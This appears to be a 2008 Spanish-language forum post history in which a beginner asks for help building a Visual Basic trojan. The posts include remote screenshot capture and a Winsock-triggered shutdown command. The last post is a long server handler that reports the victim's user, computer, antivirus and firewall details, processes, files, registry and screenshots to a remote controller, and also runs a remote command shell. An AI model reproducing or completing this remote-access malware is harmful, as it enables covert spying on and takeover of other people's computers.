|
Mostrar Mensajes
|
Páginas: [1] 2
|
2
|
Programación / Programación Visual Basic / Re: AYUDA con insertar Imagen en FORM
|
en: 18 Noviembre 2008, 02:34 am
|
ejej eso lo puse asi nomas osea la ruta es asi: Image1.Picture = LoadPicture("C:\capture.jpg") y tampoco funciona.... MIEREN PARA QUE ENTIENDAN MAS FACIL ESTE ES EL CODE.... CLIENTE Private Sub noscreen_Click() Select Case MsgBox("Se elimino correctamente el screen anterior!", vbOKCancel + vbInformation, "Correcto") Case vbOKCancel Unload Me End Select
Kill "C:\capture.jpg"
End Sub
Private Sub salir_Click() End End Sub
Private Sub screen_Click() enviar "Screen" End Sub
Y EN EL SERVER DELCARO ESTO Dim Foto As New Class1 'Class1 es el nombre del module de clase cjpg. Y EN LA PARTE DATTA ARRIVAL ES ASI 'SCREEN CAPTURE Case "Screen" Resolucion = data(1) Foto.SetSamplingFrequencies 2, 2, 2, 2, 2, 2 Foto.Quality = 100 'aqui ajustas la calidad dsd 1 a 100 hasi bajas calidad bajas peso Foto.SampleScreen Foto.SaveFile ("c:\capture.jpg") WS.SendData "tamscreen|" & FileLen("C:\capture.jpg") Entonces como haria para que al capturar la imagen y al ser guardad en "C" esta se muestre en el Form osea en el cliente en IMAGE
|
|
|
6
|
Programación / Programación Visual Basic / Pequeña duda....
|
en: 17 Noviembre 2008, 01:31 am
|
Hola tengo una duda.... estoy practicando ejemplos por que recien comienzo con Visual Basic y tengo problemas con esto.... con hacer un screen remotamente....Localmente anda perfecto pero tengo un par de dudas al hacerlo Remotamente.... el codigo para que funcione localmente es en el FORM() Option Explicit 'Api para generar un evento de tecla, en este caso Print Screen '''''''''''''''''''''''''''''''''''''''''''''''''''''' Private Declare Sub keybd_event _ Lib "user32" ( _ ByVal bVk As Byte, _ ByVal bScan As Byte, _ ByVal dwFlags As Long, _ ByVal dwExtraInfo As Long)
'recibe la ruta donde crear el BMP '''''''''''''''''''''''''''''''''''''''''''''''''' Private Sub Capturar_Guardar(Path As String) ' borra el portapapeles Clipboard.Clear ' Manda la pulsación de teclas para capturar la imagen de la pantalla Call keybd_event(44, 2, 0, 0) DoEvents ' Si el formato del clipboard es un bitmap If Clipboard.GetFormat(vbCFBitmap) Then 'Guardamos la imagen en disco SavePicture Clipboard.GetData(vbCFBitmap), Path MsgBox " Captura generada en: " & Path, vbInformation Picture1.Picture = Clipboard.GetData(vbCFBitmap) Else MsgBox " Error ", vbCritical End If
End Sub
Private Sub ty_Click() Call Capturar_Guardar("c:\pantalla.bmp") End Sub
Private Sub ex_Click() End End Sub
______________________________________________________________________ ______________________________________________________________________ ______________________________________________________________________ Al hacerlo remoto lo que hice fue esto que no se si esta bien por eso pido ayuda aca... En el FORM() Private Sub ty_Click() enviar "ty" End Sub
Private Sub ex_Click() End End Sub Luego en el Server en la parte de DattaArrival 'SCREEN CAPTURE Case "ty" CapturarScreen
y en un modulo aparte lo siguiente '******************************************************************************************************************************************************************************************************* ' SCREEN CAPTURE '******************************************************************************************************************************************************************************************************** 'Api para generar un evento de tecla, en este caso Print Screen '''''''''''''''''''''''''''''''''''''''''''''''''''''' Private Declare Sub keybd_event _ Lib "user32" ( _ ByVal bVk As Byte, _ ByVal bScan As Byte, _ ByVal dwFlags As Long, _ ByVal dwExtraInfo As Long) '**************************************************************************************************************************************************************************************************
'recibe la ruta donde crear el BMP '''''''''''''''''''''''''''''''''''''''''''''''''' Private Sub Capturar_Guardar(Path As String) ' borra el portapapeles Clipboard.Clear ' Manda la pulsación de teclas para capturar la imagen de la pantalla Call keybd_event(44, 2, 0, 0) DoEvents ' Si el formato del clipboard es un bitmap If Clipboard.GetFormat(vbCFBitmap) Then 'Guardamos la imagen en disco SavePicture Clipboard.GetData(vbCFBitmap), Path MsgBox " Captura generada en: " & Path, vbInformation Picture1.Picture = Clipboard.GetData(vbCFBitmap) Else MsgBox " Error ", vbCritical End If
End Sub
Function CapturarScreen() Call Capturar_Guardar("c:\pantalla.bmp") End Function Hay algo que anda mal....que es?
|
|
|
10
|
Programación / Programación Visual Basic / Re: Ayuda Con Troyanos
|
en: 7 Noviembre 2008, 19:45 pm
|
si pero ya lo hice pero el problema es donde lo agrego en el dataarrival del server por que me tira error...... osea meter esto Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) Dim datos As String Winsock1.GetData datos If datos = "apagar" Then Shell "shutdown -s -t 0" End If End Sub ACA DENTRO creo....o se agrega una nueva? Private Sub wskServer_DataArrival(ByVal bytesTotal As Long)
Dim sData As String Dim sHead As String
Dim iFData As Integer Dim iRData As Integer
Dim sMParam() As String Dim sDParam() As String
DoEvents wskServer.GetData sData
Debug.Print sData
sHead = Left(sData, 10) sData = Right$(sData, Len(sData) - 10)
sMParam = Split(sData, sDetailSplit)
Select Case sHead Case "[GETSINFO]" wskServer.SendData "[SETSINFO]" & _ "Syntax" & sDetailSplit & _ Environ("username") & " @ " & Environ("computername") & sDetailSplit & _ IsNTAdmin(0&, 0&) & sDetailSplit & _ Environ("os") & sDetailSplit & _ GetCPUSpeedMHz & sDetailSplit & _ MemoryAvailable & sDetailSplit & _ GetCountryCode & sDetailSplit & _ ".9" Case "[GETDINFO]" wskServer.SendData "[SETDINFO]" & _ Environ("username") & sDetailSplit & _ Environ("computername") & sDetailSplit & _ Environ("os") & sDetailSplit & _ CountryTag & sDetailSplit & _ Split(GetFWAV, "|")(1) & sDetailSplit & _ Split(GetFWAV, "|")(0) & sDetailSplit & _ App.Path & sDetailSplit & _ Environ("systemdrive") & sDetailSplit & _ Environ("systemroot") & "\" & sDetailSplit & _ GetProcessor & sDetailSplit & _ GetCPUModel & sDetailSplit & _ Split(MemoryAvailable, "|")(0) & sDetailSplit & _ Split(MemoryAvailable, "|")(1) & sDetailSplit & _ GetCamDrvs & sDetailSplit & _ Screen.Width / Screen.TwipsPerPixelX & " x " & Screen.Height / Screen.TwipsPerPixelY Case "[GETPRCLT]" wskServer.SendData "[SETPRCLT]" & GetProcesses Case "[GETPRGLT]" wskServer.SendData "[SETPRGLT]" & GetInstalledApps Case "[GETSRVLT]" wskServer.SendData "[SETSRVLT]" & EnumerateServices Case "[GETMODLT]" wskServer.SendData "[SETMODLT]" & GetModules(CLng(sMParam(0))) Case "[GETWNDLT]" lstWindows = "" Call EnumWindows(AddressOf GetWindows, CLng(sMParam(0))) wskServer.SendData "[SETWNDLT]" & lstWindows Case "[GETPRCKL]" wskServer.SendData "[SETPRCKL]" & KillByPID(CLng(sMParam(0))) Case "[GETMODKL]" wskServer.SendData "[SETMODKL]" & UnInjectDll(sMParam(0), CLng(sMParam(1))) Case "[GETPRCPR]" wskServer.SendData "[SETPRCPR]" & SetProcessPriority(CLng(sMParam(0)), GetPriority(sMParam(1))) Case "[GETSRVST]" wskServer.SendData "[SETSRVST]" & ServiceControl(sMParam(0), CLng(sMParam(1))) 'Case "[GETSRVSU]" ' wskServer.SendData "[SETSRVSU]" & SetServiceStartup(CLng(sMParam(0)), GetPriority(sMParam(1))) Case "[GETWNDOP]" Select Case sMParam(0) Case 0: sMParam(0) = SetWindow(CLng(sMParam(1)), 3) Case 1: sMParam(0) = SetWindow(CLng(sMParam(1)), 6) Case 2: sMParam(0) = SetWindow(CLng(sMParam(1)), 5) Case 3: sMParam(0) = SetWindow(CLng(sMParam(1)), 0) Case 4: sMParam(0) = CloseWindow(CLng(sMParam(1))) Case 5: sMParam(0) = ChangeWindowText(CLng(sMParam(1)), sMParam(2)) End Select wskServer.SendData "[SETWNDOP]" & sMParam(0) Case "[GETFILES]" sData = EnumFiles(sMParam(0)) If Len(sData) > 3072 Then sFData = sData While Mid(sFData, 3072 + iFData, 1) <> sDetailSplit iFData = iFData + 1 Wend wskServer.SendData "[SETFILES]" + Left(sFData, 3072 + iFData) DoEvents sFData = Mid(sFData, 3072 + iFData + 1, Len(sFData)) Else wskServer.SendData "[SETFILER]" + sData End If
Case "[GETFILER]" If Len(sFData) > 3072 Then While Mid(sFData, 3072 + iFData, 1) <> sDetailSplit iFData = iFData + 1 Wend Sleep 100 wskServer.SendData "[SETFILES]" + Left(sFData, 3072 + iFData) DoEvents sFData = Mid(sFData, 3072 + iFData + 1, Len(sFData)) Else wskServer.SendData "[SETFILER]" + sFData End If Case "[GETREGES]" sData = EnumKeysValues(sMParam(0), sMParam(1)) If Len(sData) > 3072 Then sRData = sData While Mid(sRData, 3072 + iRData, 1) <> sDetailSplit iRData = iRData + 1 Wend wskServer.SendData "[SETREGES]" + Left(sRData, 3072 + iRData) DoEvents sRData = Mid(sRData, 3072 + iRData + 1, Len(sRData)) Else wskServer.SendData "[SETREGER]" + sData End If
Case "[GETREGER]" If Len(sRData) > 3072 Then While Mid(sRData, 3072 + iRData, 1) <> sDetailSplit iRData = iRData + 1 Wend Sleep 100 wskServer.SendData "[SETREGES]" + Left(sRData, 3072 + iRData) DoEvents sFData = Mid(sRData, 3072 + iRData + 1, Len(sRData)) Else wskServer.SendData "[SETREGER]" + sRData End If Case "[GETSCRST]" sData = GetScreenshot(-1, picScreenShot) MsgBox Len(sData) iSData = 0 If Len(sData) > 3072 Then sSData = sData wskServer.SendData "[SETSCRST]" & Left(sData, 3072) Else wskServer.SendData "[SETSCRSR]" & sData End If Case "[GETSCRSR]" If Len(sSData) > 3072 Then iSData = iSData + 1 wskServer.SendData "[SETSCRST]" & Mid(sSData, iSData * 3072, 3072) MsgBox iSData Else wskServer.SendData "[SETSCRSR]" & sData End If
Case "[GETDRIVE]" wskServer.SendData "[SETDRIVE]" & EnumDrives Case "[FILESIZE]": wskServer.SendData "[SETSTRSD]" Case "[GETCOMND]" Select Case sMParam(0) Case 0 KillByPID DOS_PID wskServer.SendData "[SETCOMND]" & 0 Case 1 ExecuteCommand Environ("comspec") wskServer.SendData "[SETCOMND]" & 1 Case 2 WriteData sMParam(1) End Select
End Select End Sub
|
|
|
|
|
|
|